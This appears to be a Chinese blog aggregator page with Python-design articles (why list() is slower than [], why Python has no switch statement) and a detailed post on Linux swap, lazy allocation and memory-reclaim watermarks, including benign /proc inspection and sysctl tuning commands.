也就是说,Python 在解析到它时,就知道它要表示一个列表,因此会直接调用解释器中构建列表的方法(对应 BUILD_LIST ),来创建列表,所以是一步到位。
而对于 list(),“list”只是一个普通的名称,并不是字面量,也就是说解释器一开始并不认识它。
因此,解释器的第一步是要找到这个名称(对应 LOAD_NAME)。它会按照一定的顺序,在各个作用域中逐一查找(局部作用域—全局作用域—内置作用域),直到找到为止,找不到则会抛出NameError
解释器看到“list”之后是一对圆括号,因此第二步是把这个名称当作可调用对象来调用,即把它当成一个函数进行调用(对应 CALL_FUNCTION)。
因此,list() 在创建列表时,需要经过名称查找与函数调用两个步骤,才能真正开始创建列表(注:CALL_FUNCTION 在底层还会有一些函数调用过程,才能走到跟 BUILD_LIST 相通的逻辑,此处我们忽略不计)。
至此,我们就可以回答前面的问题了:因为 list() 涉及的执行步骤更多,因此它比 [] 要慢一些。

3、list() 的速度提升

看完前两个问题的解答过程,你也许觉得还不够过瘾,而且可能觉得就算知道了这个冷知识,也不会有多大的帮助,似乎那微弱的提升显得微不足道。
但是,我们Python猫出品的《Python为什么》系列一直秉承着孜孜不倦的求知精神,是不可能放着这个问题不去回答的。
而且,由于有发散性思考的习惯,我还想到了另外一个挺有意思的问题:list() 的速度能否提升呢?
我不久前写过一篇文章 正好讨论到这个问题,也就是在刚刚发布的 Python 3.9.0 版本中,它给 list() 实现了更快的 vectorcall 协议,因此执行速度会有一定的提升。
感兴趣的同学可以去 Python 官网下载 3.9 版本。
根据我多轮的测试结果,在新版本中运行 list() 一千万次,耗时大概在 1 秒左右,也就是 [] 运行耗时的 2 倍,相比于前面接近 4 倍的数据,当前版本总体上是提升了不少。
至此,我们已回答完一连串的疑问,如果你觉得有收获,请点赞支持!欢迎大家关注后续更多精彩内容。
本文属于“Python为什么”系列(Python猫出品),该系列主要关注 Python 的语法、设计和发展等话题,以一个个“为什么”式的问题为切入点,试着展现 Python 的迷人魅力。所有文章将会归档在 Github 上,欢迎大家给颗小星星,项目地址:https://github.com/chinesehuazhou/python-whydo

October 14, 2020 12:00 AM

October 08, 2020

pythoncat

Python 为什么不支持 switch 语句?

在这篇文章里,我们会聊一聊为什么 Python 决定不支持 switch 语句。
为什么想要聊这个话题呢?
主要是因为 switch 在其它语言中太常见了,而 Python 却不支持,这样的独特性本身就值得关注,而回答这个问题,也能更加看清 Python 在程序设计上的理念,了解 Python 在语法设计中的决策过程。
本文除了会详细分析 PEP-275 和 PEP-3103,还会介绍到 Python 最新的发展动态(PEP-622),即可能要引入的模式匹配(pattern matching)语法,相信这个话题会开阔大家的眼界,从而对 switch 语法有更为全面的认识。

1、switch 是什么?

在开始正题之前,我们需要先聊聊 switch 是什么?
有些同学可能会第一时间想到它……
喂喂,麻烦收收心,别总想着游戏啦,我们要说的是编程语言中的 switch 语句。
一般而言,switch 的语法格式如下:
switch(expression){
    case value1:
       // 语句
       break; // 可选
    case value2:
       // 语句
       break; // 可选
    default: // 可选
       // 语句
}
使用流程图来表示,大概是这样的:
它的用法不难理解:switch 语句的值满足哪一个 case 情况,就会执行对应的代码块,执行时遇到 break 就跳出,否则就继续执行下一个 case 分支;一般会在最后放一个 default 分支,作为兜底。
大多数语言都提供了 switch 语句或者极其相似的东西,例如,在 C/C++/Java /Go 等静态语言中,它们都支持 switch-case 结构;在 Ruby 中有类似的 case-when 结构,在 Shell 语言中,有相似的 case-in 结构,在 Perl 中,有 switch-case-else……
switch 语句的好处是支持“单条件多分支”的选择结构,相比 if-else 的二分选择结构,在某些时候会更为简洁清晰。
但是,在 Python 中,我们看不到 switch-case 或者相近的语法结构,这是为什么呢?

2、Python 为什么不支持 switch?

官方文档中有一篇 FAQ 包含了这个问题:Why isn’t there a switch or case statement in Python?

FAQ 即 Frequently Asked Questions 的缩写,表示常见问题,官方列了 27 个常见问题,完整清单在此:https://mp.weixin.qq.com/s/zabIvt4dfu_rf7SmGZXqXg

该文档给出了几个建议,告诉了我们几个 switch/case 的替代方案:
  • 使用 if-elif-else 条件判断语句
  • 使用字典,将 case 值与调用的函数映射起来
  • 使用内置 getattr() 检索特定的对象调用方法
曾有人提出过一些提案(即 PEP-275 和 PEP-3103),想给 Python 引入 switch 语法,然而,对于“是否以及如何进行靶场测试”,大家没有达成一致的共识。
靶场测试,即 range test,指的是对武器弹药的技术性能作各种测试验证,与药物的临床试验一样,都是在最终产品交付前的一项关键性测试。
官方文档对于“为什么 Python 不引入 switch”的解释,实际上来源于 Python 之父 Guido van Rossum 在 PEP-3103 中的意见:

A quick poll during my keynote presentation at PyCon 2007 shows this proposal has no popular support. I therefore reject it.

我在 PyCon 2007 的主题演讲中做了一个快速的民意调查,结果表明这个提案没有得到广泛的支持。因此,我拒绝了它。

简而言之,PEP 提案有了,语法实现也有了雏形,但是核心开发者们似乎没有达成一致意见,最终导致提案流产了。

3、PEP-275 与 PEP-3103 说了什么?

PEP-3103 是在 2006 年提出的,PEP-275 则是在 2001 年提出的,它们的共同之处是提出了引入 switch 语句的某种必要性、分析了好几种备选的实现方案,然而,结局是都被拒绝了。
那么,我们就先来回顾一下核心开发者们都做出了哪些讨论,看一看如果 Python 要实现 switch 结构,会是怎么样子的?(PS:PEP 里还涉及其它内容,本文只摘取与 switch 直接相关的部分)
PEP-275 提出的语法结构如下:
switch EXPR:
    case CONSTANT:
        SUITE
    case CONSTANT:
        SUITE
    ...
    else:
        SUITE
其中 else 分支是可选的,如果没有它,并且前面的分支都不满足的话,就什么也不做。另外 case 值 constant 支持不同类型,因为 expr 表达式的类型是动态的。
PEP-275 还提出让 switch 不支持掉落(fall-through)行为,即每个 case 分支相互独立而完整,不用像 C 语言那样需要写 break。
该 PEP 还列举了一些其它的 issue:
  • 重用现有关键字,不引入“switch”和“case”
  • 使用新的关键字,避免与 C 的 switch 概念混淆
  • 支持单分支多值选择(例如:case ‘a’, ‘b’, ‘c’: …)
  • 还有建议支持范围取值判断(例如:case 10..14: …)
除了首选方案,该 PEP 还记录了几种风格各异的语法方案:
case EXPR:
    of CONSTANT:
        SUITE
    of CONSTANT:
        SUITE
    else:
        SUITE

case EXPR:
    if CONSTANT:
         SUITE
    if CONSTANT:
        SUITE
    else:
        SUITE

when EXPR:
    in CONSTANT_TUPLE:
        SUITE
    in CONSTANT_TUPLE:
        SUITE
    ...
else:
     SUITE
PEP-275 记录下了不少重要的思路和问题,为 PEP-3103 的出现做了很好的铺垫。
那么,我们再来看看由 Guido 编写的 PEP-3103 说了些什么吧。
它首先认可了 PEP-275 中的两个基础设定,例如,实现“隐式的 break”,不让 case 分支出现 fall-through 这种转移控制权的情况(其它语言似乎都要求显式地写 break);else 分支是可选的,复用 else 关键字,而不用引入“default”。
对于 PEP-275 提倡的那种风格,Guido 比较认可,但也认为它的问题是缩进层次太多,因此建议减少代码分支缩进的空格数,例如本来缩进 4 空格,改为缩进 2 空格。
PEP-3103 还列举了另外三种实现方案,分析了它们的差异以及问题,具体内容从略,这里只给大家看看它们的风格:
# case 分支不缩进
switch EXPR:
case EXPR:
    SUITE
case EXPR:
    SUITE
....
else:
    SUITE

# switch 语句后不加冒号
switch EXPR
case EXPR:
    SUITE
case EXPR:
    SUITE
....
else:
    SUITE

# 省略 case 关键字
switch EXPR:
    EXPR:
        SUITE
    EXPR:
        SUITE
    ...
    else:
        SUITE
在基础语法之外,Guido 花了很多篇幅来讨论扩展语法(Extended Syntax),即在一个 case 分支中实现匹配多个值的复杂情况:
case EXPR, EXPR, ...:

# Guido 优选的
case in EXPR_LIST:

case *EXPR:

case [*]EXPR, [*]EXPR, ...:

case *(EXPR, EXPR, ...):
他重点考虑到的问题包括:switch 中表达式的结果是元组或可迭代对象的情况、case 的值被看成元组解包的情况、在 case 分支作“*”星号操作……
接着,Guido 又用了非常非常多的篇幅来分析该如何实现 switch,其中讨论到的主要思路有:
  • 使用等价的 if-elif 链来定义 switch 语句(可能会做些优化)
  • 同上,另外所有表达式都必须是可哈希的(hashable)
  • 看作是预先计算的字典的分派(dispatch)
PEP 中这部分的内容非常多,因为在每个思路上,Guido 还考虑到了好几种实现路径,这导致了他在复杂分析后的结论是:It is too early to decide( 现在做决定为时尚早)。
阅读完 PEP-3103 后,我总体的感觉是:Guido 的思路非常发散、层次丰富,但是,缺少了他在面对其它问题时那“快刀斩乱麻”式的洞察力。
也就是说,在诸多的可能性方案中,他力求面面俱到,最终无法说服自己做出一个独裁的决定。阻力主要来自于他自己,而不是其他人。
不过,之所以会出现这种情况,也许跟他的预设立场有关:他似乎认为“Python is fine without a switch statement”,因此尽管写了很长的 PEP,但只是在把问题复杂化,把议题搁置起来。
最后,他在 PyCon 上做了一个小范围调查,借此“名正言顺”地拒绝了自己发起的 PEP,试图堵住众人的悠悠之口……

4、未来会有 switch 语句么?

归结起来,之所以 Python 没有 switch 语句,原因有:switch 的实现细节/功能点未经敲定、没有 switch 也挺好的、有其它不错的方法替代 switch、Guido 的小任性……
但是,我们还是要追问一句:未来会有 switch 语句么?或者类似的多分支选择结构?
为什么要有此一问呢?原因是有太多语言自带 switch 语句,而且也有很多人尝试编写提供 switch 功能的库(我记得在 PyCoder’s Weekly 里曾见到过两次)。
我(Python猫)本人自始至终并不喜欢 switch,几乎可以肯定地说,Python 未来也不会有 switch,但是,它很可能会引入一个类似于 switch 且更为复杂的语法结构!
2020 年 6 月,PEP-622 被提出了,它建议引入在 Scala、Erlang 和 Rust 等语言中的模式匹配语法(pattern matching)。
截至 2020 年 10 月,该 PEP 已被分解成另外三个 PEP(634-636),目前都处于草案阶段。考虑到核心开发者们的参与情况以及话题讨论的情况,这些提案极有可能会在未来版本(比如正在开发中的 3.10)中实现。
以一个求平均数的函数为例,模式匹配语法可以实现成这样:
def average(*args):
    match args:
        case [x, y]:           # captures the two elements of a sequence
            return (x + y) / 2
        case [x]:              # captures the only element of a sequence
            return x
        case []:
            return 0
        case x:                # captures the entire sequence
            return sum(x) / len(x)
match-case 结构神似于 switch-case 结构,然而它基于模式(pattern)而非表达式(expression),因此有更多待考虑的细节问题,也有更为广阔的应用空间。
对此话题感兴趣的读者,建议去查阅这几个新的 PEP。
最后,让我们回到标题中的问题:Python 为什么不支持 switch 语句?
官方文档的 FAQ 对此问题有一个解答,告诉我们有几个不错的替代写法,同时也留下了一条线索:曾有 PEP 提议引入 switch,只是没有成功实现。
沿着这条线索,本文拆解了 PEP-275 和 PEP-3103 这两篇文档,带大家看到了 Python 社区里提出过的风格各异的 switch 方案,以及诸多的悬而未决的问题。
最后,我们还关注到了最新的 PEP-622 的动态,看起来 switch 的“孪生兄弟” match 语法有望引入到 Python 中!switch 话题的讨论似乎要终止了,但是另一个更大的话题正在进行中!
本文属于“Python为什么”系列(Python猫出品),该系列主要关注 Python 的语法、设计和发展等话题,以一个个“为什么”式的问题为切入点,试着展现 Python 的迷人魅力。所有文章将会归档在 Github 上,欢迎大家给颗小星星,项目地址:https://github.com/chinesehuazhou/python-whydo

October 08, 2020 12:00 AM

October 06, 2020

farseerfc

關於 swap 的一些補充

上週翻譯完 【譯】替 swap 辯護:常見的誤解 之後很多朋友們似乎還有些疑問和誤解,於是寫篇後續澄清一下。事先聲明我不是內核開發者, 這裏說的只是我的理解, 基於內核文檔中關於物理內存的描述 ,新的內核代碼的具體行爲可能和我的理解有所出入,歡迎踊躍討論。

誤解1: swap 是虛擬內存,虛擬內存肯定比物理內存慢嘛

這種誤解進一步的結論通常是:「使用虛擬內存肯定會減慢系統運行時性能,如果物理內存足夠爲什麼還要用虛擬的?」 這種誤解是把虛擬內存和交換區的實現方式類比於「虛擬磁盤」或者「虛擬機」等同的方式, 也隱含「先用物理內存,用完了之後用虛擬內存」也即下面的「誤解3」的理解。

首先,交換區(swap) 不是 虛擬內存。操作系統中說「物理內存」還是「虛擬內存」的時候在指程序代碼 尋址時使用的內存地址方式,使用物理地址空間時是在訪問物理內存,使用虛擬地址空間時是在訪問虛擬內存。 現代操作系統在大部分情況下都在使用虛擬地址空間尋址, 包括 在執行內核代碼的時候。

並且,交換區 不是 實現虛擬內存的方式。操作系統使用內存管理單元(MMU,Memory Management Unit)做虛擬內存地址到物理內存地址的地址翻譯,現代架構下 MMU 通常是 CPU 的一部分,配有它專用的一小塊存儲區叫做地址轉換旁路緩存(TLB,Translation Lookaside Buffer), 只有在 TLB 中沒有相關地址翻譯信息的時候 MMU 纔會以缺頁中斷的形式調用操作系統內核幫忙。 除了 TLB 信息不足的時候,大部分情況下使用虛擬內存都是硬件直接實現的地址翻譯,沒有軟件模擬開銷。 實現虛擬內存不需要用到交換區,交換區只是操作系統實現虛擬內存後能提供的一個附加功能, 即便沒有交換區,操作系統大部分時候也在用虛擬內存,包括在大部分內核代碼中。

誤解2: 但是沒有交換區的話,虛擬內存地址都有物理內存對應嘛

很多朋友也理解上述操作系統實現虛擬內存的方式,但是仍然會有疑問:「我知道虛擬內存和交換區的區別, 但是沒有交換區的話,虛擬內存地址都有物理內存對應,不用交換區的話就不會遇到讀虛擬內存需要讀寫磁盤 導致的卡頓了嘛」。

這種理解也是錯的,禁用交換區的時候,也會有一部分分配給程序的虛擬內存不對應物理內存, 比如使用 mmap 調用實現內存映射文件的時候。實際上即便是使用 read/​write 讀寫文件, Linux 內核中(可能現代操作系統內核都)在底下是用和 mmap 相同的機制建立文件 到虛擬地址空間的地址映射,然後實際讀寫到虛擬地址時靠缺頁中斷把文件內容載入頁面緩存(page cache )。內核加載可執行程序和動態鏈接庫的方式也是通過內存映射文件。甚至可以進一步說, 用戶空間的虛擬內存地址範圍內,除了匿名頁之外,其它虛擬地址都是文件後備(backed by file ),而匿名頁通過交換區作爲文件後備。上篇文章中提到的別的類型的內存,比如共享內存頁面(shm )是被一個內存中的虛擬文件系統後備的,這一點有些套娃先暫且不提。於是事實是無論有沒有交換區, 缺頁的時候總會有磁盤讀寫從慢速存儲加載到物理內存,這進一步引出上篇文章中對於交換區和頁面緩存這兩者的討論。

誤解3: 不是內存快用完的時候才會交換的麼?

簡短的答案可以說「是」,但是內核理解的「內存快用完」和你理解的很可能不同。 也可以說「不是」,就算按照內核理解的「內存快用完」的定義,內存快用完的時候內核的行爲是去回收內存, 至於回收內存的時候內核會做什麼有個複雜的啓發式經驗算法,實際上真的內存快滿的時候根本來不及做 swap ,內核可能會嘗試丟棄 page cache 甚至丟棄 vfs cache (dentry cache / inode cache) 這些不需要磁盤I/O就能更快獲取可用內存的動作。

深究這些內核機制之前,我在思考爲什麼很多朋友會問出這樣的問題。可能大部分這麼問的人,學過編程, 稍微學過基本的操作系統原理,在腦海裏對內核分配頁面留着這樣一種印象(C僞代碼):

////////////////////  userspace space  ////////////////
void* malloc(int size){
    void* pages = mmap(...);                                    // 從內核分配內存頁
    return alloc_from_page(pages, size);                        // 從拿到的內存頁細分
}

////////////////////  kernel space  //////////////////
void * SYSCALL do_mmap(...){
   //...
   return kmalloc_pages(nr_page);
}

void* kmalloc_pages(int size){
  while ( available_mem < size ) {
    // 可用內存不夠了!嘗試搞點內存
    page_frame_info* least_accessed = lru_pop_page_frame();     // 找出最少訪問的頁面
    switch ( least_accessed -> pf_type ){
      case PAGE_CACHE: drop_page_cache(least_accessed); break;  // 丟棄文件緩存
      case SWAP:       swap_out(least_accessed);        break;  // <- 寫磁盤,所以系統卡了!
      // ... 別的方式回收 least_accessed
    }
    append_free_page(free_page_list, least_accessed);           // 回收到的頁面加入可用列表
    available_mem += least_accessed -> size;
  }
  // 搞到內存了!返回給程序
  available_mem -= size;
  void * phy_addr = take_from_free_list(free_page_list, size);
  return assign_virtual_addr(phy_addr);
}

這種邏輯隱含三層 錯誤的 假設:

  1. 分配物理內存是發生在從內核分配內存的時候的,比如 malloc/​mmap 的時候。
  2. 內存回收是發生在進程請求內存分配的上下文裏的,換句話說進程在等內核的內存回收返回內存, 不回收到內存,進程就得不到內存。
  3. 交換出內存到 swap 是發生在內存回收的時候的,會阻塞內核的內存回收,進而阻塞程序的內存分配。

這種把內核代碼當作「具有特權的庫函數調用」的看法,可能很易於理解, 甚至早期可能的確有操作系統的內核是這麼實現的,但是很可惜現代操作系統都不是這麼做的。 上面三層假設的錯誤之處在於:

  1. 在程序請求內存的時候,比如 malloc/​mmap 的時候,內核只做虛擬地址分配, 記錄下某段虛擬地址空間對這個程序是可以合法訪問的,但是不實際分配物理內存給程序。 在程序第一次訪問到虛擬地址的時候,才會實際分配物理內存。這種叫 惰性分配(lazy allocation)
  2. 在內核感受到內存分配壓力之後,早在內核內存用盡之前,內核就會在後臺慢慢掃描並回收內存頁。 內存回收通常不發生在內存分配的時候,除非在內存非常短缺的情況下,後臺內存回收來不及滿足當前分配請求, 纔會發生 直接回收(direct reclamation)
  3. 同樣除了直接回收的情況,大部分正常情況下換出頁面是內存管理子系統調用 DMA 在後臺慢慢做的, 交換頁面出去不會阻塞內核的內存回收,更不會阻塞程序做內存分配(malloc )和使用內存(實際訪問惰性分配的內存頁)。

也就是說,現代操作系統內核是高度並行化的設計,內存分配方方面面需要消耗計算資源或者 I/O 帶寬的場景,都會儘量並行化,最大程度利用好計算機所有組件(CPU/MMU/DMA/IO)的吞吐率, 不到緊要關頭需要直接回收的場合,就不會阻塞程序的正常執行流程。

惰性分配有什麼好處?

或許會有人問:「我讓你分配內存,你給我分配了個虛擬的,到用的時候還要做很多事情才能給我,這不是騙人嘛」, 或者會有人擔心惰性分配會對性能造成負面影響。

這裏實際情況是程序從分配虛擬內存的時候,「到用的時候」,這之間有段時間間隔,可以留給內核做準備 。程序可能一下子分配一大片內存地址,然後再在執行過程中解析數據慢慢往地址範圍內寫東西。 程序分配虛擬內存的速率可以是「突發」的,比如一個系統調用中分配 1GiB 大小,而實際寫入數據的速率會被 CPU 執行速度等因素限制,不會短期內突然寫入很多頁面。 這個分配速率導致的時間差內內核可以完成很多後臺工作,比如回收內存, 比如把回收到的別的進程用過的內存頁面初始化爲全0,這部分後臺工作可以和程序的執行過程並行, 從而當程序實際用到內存的時候,需要的準備工作已經做完了,大部分場景下可以直接分配物理內存出來。

如果程序要做實時響應,想避免因爲惰性分配造成的性能不穩定,可以使用 mlock/​mlockall 將得到的虛擬內存鎖定在物理內存中,鎖的過程中內核會做物理內存分配。不過要區分「性能不穩定」和「低性能」, 預先分配內存可以避免實際使用內存時分配物理頁面的額外開銷,但是會拖慢整體吞吐率,所以要謹慎使用。

很多程序分配了很大一片地址空間,但是實際並不會用完這些地址,直到程序執行結束這些虛擬地址也一直 處於沒有對應物理地址的情況。惰性分配可以避免爲這些情況浪費物理內存頁面,使得很多程序可以無憂無慮地 隨意分配內存地址而不用擔心性能損失。這種分配方式也叫「超額分配(overcommit)」。飛機票有超售, VPS 提供商劃分虛擬機有超售,操作系統管理內存也同樣有這種現象,合理使用超額分配能改善整體系統效率。

內核要高效地做到惰性分配而不影響程序執行效率的前提之一,在於程序真的用到內存的時候, 內核能不做太多操作就立刻分配出來,也就是說內核需要時時刻刻在手上留有一部分空頁, 滿足程序執行時內存分配的需要。換句話說,內核需要早在物理內存用盡之前,就開始回收內存。

那麼內核什麼時候會開始回收內存?

首先一些背景知識:物理內存地址空間並不是都平等,因爲一些地址範圍可以做 DMA 而另一些不能,以及 NUMA 等硬件環境傾向於讓 CPU 訪問其所在 NUMA 節點內存範圍。在 32bit 系統上內核的虛擬地址空間還有低端內存和高端內存的區分,他們會傾向於使用不同屬性的物理內存,到 64bit 系統上已經沒有了這種限制。

硬件限制了內存分配的自由度,於是內核把物理內存空間分成多個 Zone ,每個 Zone 內各自管理可用內存, Zone 內的內存頁之間是相互平等的。

zone 內水位線
ditaa diagram

一個 Zone 內的頁面分配情況可以右圖描繪。 除了已用內存頁,剩下的就是空閒頁(free pages),空閒頁範圍中有三個水位線(watermark )評估當前內存壓力情況,分別是高位(high)、低位(low)、最小位(min)。

當內存分配使得空閒頁水位低於低位線,內核會喚醒 kswapd 後臺線程, kswapd 負責掃描物理頁面的使用情況並挑選一部分頁面做回收,直到可用頁面數量恢復到水位線高位(high)以上。 如果 kswapd 回收內存的速度慢於程序執行實際分配內存的速度, 可用空閒頁數量可能進一步下降,降至低於最小水位(min)之後,內核會讓內存分配進入 直接回收(direct reclamation) 模式,在直接回收模式下,程序分配某個物理頁的請求( 第一次訪問某個已分配虛擬頁面的時候)會導致在進程上下文中阻塞式地調用內存回收代碼。

除了內核在後臺回收內存,進程也可以主動釋放內存,比如有程序退出的時候就會釋放一大片內存頁, 所以可用頁面數量可能會升至水位線高位以上。有太多可用頁面浪費資源對整體系統運行效率也不是好事, 所以系統會積極緩存文件讀寫,所有 page cache 都留在內存中,直到可用頁面降至低水位以下觸發 kswapd 開始工作。

設置最小水位線(min)的原因在於,內核中有些硬件也會突然請求大量內存,比如來自網卡接收到的數據包, 預留出最小水位線以下的內存給內核內部和硬件使用。

設置高低兩個控制 kswapd 開關的水位線是基於控制理論。喚醒 kswapd 掃描內存頁面本身有一定計算開銷,於是每次喚醒它幹活的話就讓它多做一些活( high - low ),避免頻繁多次喚醒。

因爲有這些水位線,系統中根據程序請求內存的「速率」,整個系統的內存分配在宏觀的一段時間內可能處於以下幾種狀態:

  1. 不回收: 系統中的程序申請內存速度很慢,或者程序主動釋放內存的速度很快, (比如程序執行時間很短,不怎麼進行文件讀寫就馬上退出,)此時可用頁面數量可能一直處於低水位線以上, 內核不會主動回收內存,所有文件讀寫都會以頁面緩存的形式留在物理內存中。
  2. 後臺回收: 系統中的程序在緩慢申請內存,比如做文件讀寫, 比如分配並使用匿名頁面。系統會時不時地喚醒 kswapd 在後臺做內存回收, 不會干擾到程序的執行效率。
  3. 直接回收: 如果程序申請內存的速度快於 kswapd 後臺回收內存的速度, 空閒內存最終會跌破最小水位線,隨後的內存申請會進入直接回收的代碼路徑,從而極大限制內存分配速度。 在直接分配和後臺回收的同時作用下,空閒內存可能會時不時回到最小水位線以上, 但是如果程序繼續申請內存,空閒內存量就會在最小水位線附近上下徘徊。
  4. 殺進程回收: 甚至直接分配和後臺回收的同時作用也不足以拖慢程序分配內存的速度的時候, 最終空閒內存會完全用完,此時觸發 OOM 殺手幹活殺進程。

系統狀態處於 1. 不回收 的時候表明分配給系統的內存量過多,比如系統剛剛啓動之類的時候。 理想上應該讓系統長期處於 2. 後臺回收 的狀態,此時最大化利用緩存的效率而又不會因爲內存回收 減緩程序執行速度。如果系統引導後長期處於 1. 不回收 的狀態下,那麼說明沒有充分利用空閒內存做 文件緩存,有些 unix 服務比如 preload 可用來提前填充文件緩存。

如果系統頻繁進入 3. 直接回收 的狀態,表明在這種工作負載下系統需要減慢一些內存分配速度, 讓 kswapd 有足夠時間回收內存。就如前一篇翻譯中 Chris 所述,頻繁進入這種狀態也不一定代表「內存不足」,可能表示內存分配處於非常高效的利用狀態下, 系統充分利用慢速的磁盤帶寬,爲快速的內存緩存提供足夠的可用空間。 直接回收 是否對進程負載有負面影響要看具體負載的特性。 此時選擇禁用 swap 並不能降低磁盤I/O,反而可能縮短 2. 後臺回收 狀態能持續的時間, 導致更快進入 4. 殺進程回收 的極端狀態。

當然如果系統長期處於 直接回收 的狀態的話,則說明內存總量不足,需要考慮增加物理內存, 或者減少系統負載了。如果系統進入 4. 殺進程回收 的狀態,不光用空間的進程會受影響, 並且還可能導致內核態的內存分配受影響,產生網絡丟包之類的結果。

微調內存管理水位線

可以看一下運行中的系統中每個 Zone 的水位線在哪兒。比如我手上這個 16GiB 的系統中:

$ cat /proc/zoneinfo
Node 0, zone      DMA
   pages free     3459
         min      16
         low      20
         high     24
         spanned  4095
         present  3997
         managed  3975
Node 0, zone    DMA32
   pages free     225265
         min      3140
         low      3925
         high     4710
         spanned  1044480
         present  780044
         managed  763629
Node 0, zone   Normal
   pages free     300413
         min      13739
         low      17173
         high     20607
         spanned  3407872
         present  3407872
         managed  3328410

因爲不是 NUMA 系統,所以只有一個 NUMA node,其中根據 DMA 類型共有 3 個 Zone 分別叫 DMA, DMA32, Normal 。三個 Zone 的物理地址範圍(spanned)加起來大概有 \(4095+1044480+3407872\) 大約 17GiB 的地址空間,而實際可訪問的地址範圍(present )加起來有 \(3997+780044+3407872\) 大約 16GiB 的可訪問物理內存。

其中空閒頁面有 \(3459+762569+1460218\) 大約 8.5GiB ,三條水位線分別在: \(\texttt{high} = 24+4710+20607 = 98\texttt{MiB}\)\(\texttt{low} = 20+3925+17173 = 82\texttt{MiB}\)\(\texttt{min} = 16+3140+13739 = 65\texttt{MiB}\) 的位置。

具體這些水位線的確定方式基於幾個 sysctl 。首先 min 基於 vm.min_free_kbytes 默認是基於內核低端內存量的平方根算的值,並限制到最大 64MiB 再加點餘量,比如我這臺機器上 vm.min_free_kbytes = 67584 ,於是 min 水位線在這個位置。 其它兩個水位線基於這個計算,在 min 基礎上增加總內存量的 vm.watermark_scale_factor /​ 10000 比例(在小內存的系統上還有額外考慮),默認 vm.watermark_scale_factor = 10 在大內存系統上意味着 low 比 min 高 0.1% , high 比 low 高 0.1% 。

可以手動設置這些值,以更早觸發內存回收,比如將 vm.watermark_scale_factor 設爲 100:

$ echo 100 | sudo tee /proc/sys/vm/watermark_scale_factor
$ cat /proc/zoneinfo
Node 0, zone      DMA
   pages free     3459
         min      16
         low      55
         high     94
         spanned  4095
         present  3997
         managed  3975
   Node 0, zone    DMA32
   pages free     101987
         min      3149
         low      10785
         high     18421
         spanned  1044480
         present  780044
         managed  763629
   Node 0, zone   Normal
   pages free     61987
         min      13729
         low      47013
         high     80297
         spanned  3407872
         present  3407872
         managed  3328410

得到的三條水位線分別在 \(\texttt{min} = 16+3149+13729 = 66\texttt{MiB}\)\(\texttt{low} = 55+10785+47013 = 226\texttt{MiB}\)\(\texttt{high} = 94+18421+80297 = 386\texttt{MiB}\) , 從而 low 和 high 分別比 min 提高 160MiB 也就是內存總量的 1% 左右。

在 swap 放在 HDD 的系統中,因爲換頁出去的速度較慢,除了上篇文章說的降低 vm.swappiness 之外,還可以適當提高 vm.watermark_scale_factor 讓內核更早開始回收內存,這雖然會稍微降低緩存命中率,但是另一方面可以在進入直接回收模式之前 有更多時間做後臺換頁,也將有助於改善系統整體流暢度。

只有 0.1% ,這不就是說內存快用完的時候麼?

所以之前的「誤解3」我說答案可以說「是」或者「不是」,但是無論回答是或不是,都代表了認爲「swap 就是額外的慢速內存」的錯誤看法。當有人在強調「swap 是內存快用完的時候才交換」的時候, 隱含地,是在把系統總體的內存分配看作是一個靜態的劃分過程:打個比方這就像在說,我的系統裏存儲空間有快速 128GiB SSD 和慢速 HDD 的 1TiB ,同樣內存有快速的 16GiB RAM 和慢速 16GiB 的 swap 。 這種靜態劃分的類比是錯誤的看待方式,因爲系統回收內存進而做頁面交換的方式是動態平衡的過程, 需要考慮到「時間」和「速率」而非單純看「容量」。

假設 swap 所在的存儲設備可以支持 5MiB/s 的吞吐率( HDD 上可能更慢, SSD 上可能更快,這裏需要關注數量級),相比之下 DDR3 大概有 10GiB/s 的吞吐率,DDR4 大概有 20GiB/s ,無論多快的 SSD 也遠達不到這樣的吞吐(可能 Intel Optane 這樣的 DAX 設備會改變這裏的狀況)。從而把 swap 當作慢速內存的視角來看的話,加權平均的速率是非常悲觀的,「 16G 的 DDR3 + 16G 的 swap 會有 \(\frac{16 \times 10 \times 1024 + 16 \times 5}{16+16} = 5 \texttt{GiB/s}\) 的吞吐?所以開 swap 導致系統速度降了一半?」顯然不能這樣看待。

動態的看待方式是, swap 設備能提供 5MiB/s 的吞吐,這意味着:如果我們能把未來 10 分鐘內不會訪問到的頁面換出到 swap ,那麼就相當於有 \(10 \times 60 \texttt{s} \times 5 \texttt{MiB/s} = 3000 \texttt{MiB}\) 的額外內存,用來放那 10 分鐘內可能會訪問到的頁面緩存。 10 分鐘只是隨口說的一段時間,可以換成 10 秒或者 10 小時,重要的是只要頁面交換發生在後臺, 不阻塞前臺程序的執行,那麼 swap 設備提供的額外吞吐率相當於一段時間內提供了更大的物理內存, 總是能提升頁面緩存的命中,從而改善系統性能。

當然系統內核不能預知「未來 10 分鐘內需要的頁面」,只能根據歷史上訪問內存的情況預估之後可能會訪問的情況, 估算不準的情況下,比如最近10分鐘內用過的頁面緩存在之後10分鐘內不再被使用的時候, 爲了把最近這10分鐘內訪問過的頁面留在物理內存中,可能會把之後10分鐘內要用到的匿名頁面換出到了交換設備上。 於是會有下面的情況:

但是我開了 swap 之後,一旦複製大文件,系統就變卡,不開 swap 不會這樣的

大概電腦用戶都經歷過這種現象,不限於 Linux 用戶,包括 macOS 和 Windows 上也是。 在文件管理器中複製了幾個大文件之後,切換到別的程序系統就極其卡頓,複製已經結束之後的一段時間也會如此。 複製的過程中系統交換區的使用率在上漲,複製結束後下降,顯然 swap 在其中有重要因素,並且禁用 swap 或者調低 swappiness 之後就不會這樣了。於是網上大量流傳着解釋這一現象,並進一步建議禁用 swap 或者調低 swappiness 的文章。我相信不少關心系統性能調優的人看過這篇「 Tales from responsivenessland: why Linux feels slow, and how to fix that 」或是它的轉載、翻譯,用中文搜索的話還能找到更多錯誤解釋 swappiness 目的的文章,比如 這篇將 swappiness 解釋成是控制內存和交換區比例的參數

除去那些有技術上謬誤的文章,這些網文中描述的現象是有道理的,不單純是以訛傳訛。 桌面環境中內存分配策略的不確定性和服務器環境中很不一樣,複製、下載、解壓大文件等導致一段時間內 大量佔用頁面緩存,以至於把操作結束後需要的頁面攆出物理內存,無論是交換出去的方式還是以丟棄頁面緩存的方式, 都會導致桌面響應性降低。

不過就像前文 Chris 所述,這種現象其實並不能通過禁止 swap 的方式緩解:禁止 swap 或者調整 swappiness 讓系統儘量避免 swap 只影響回收匿名頁面的策略,不影響系統回收頁面的時機, 也不能避免系統丟棄將要使用的頁面緩存而導致的卡頓。

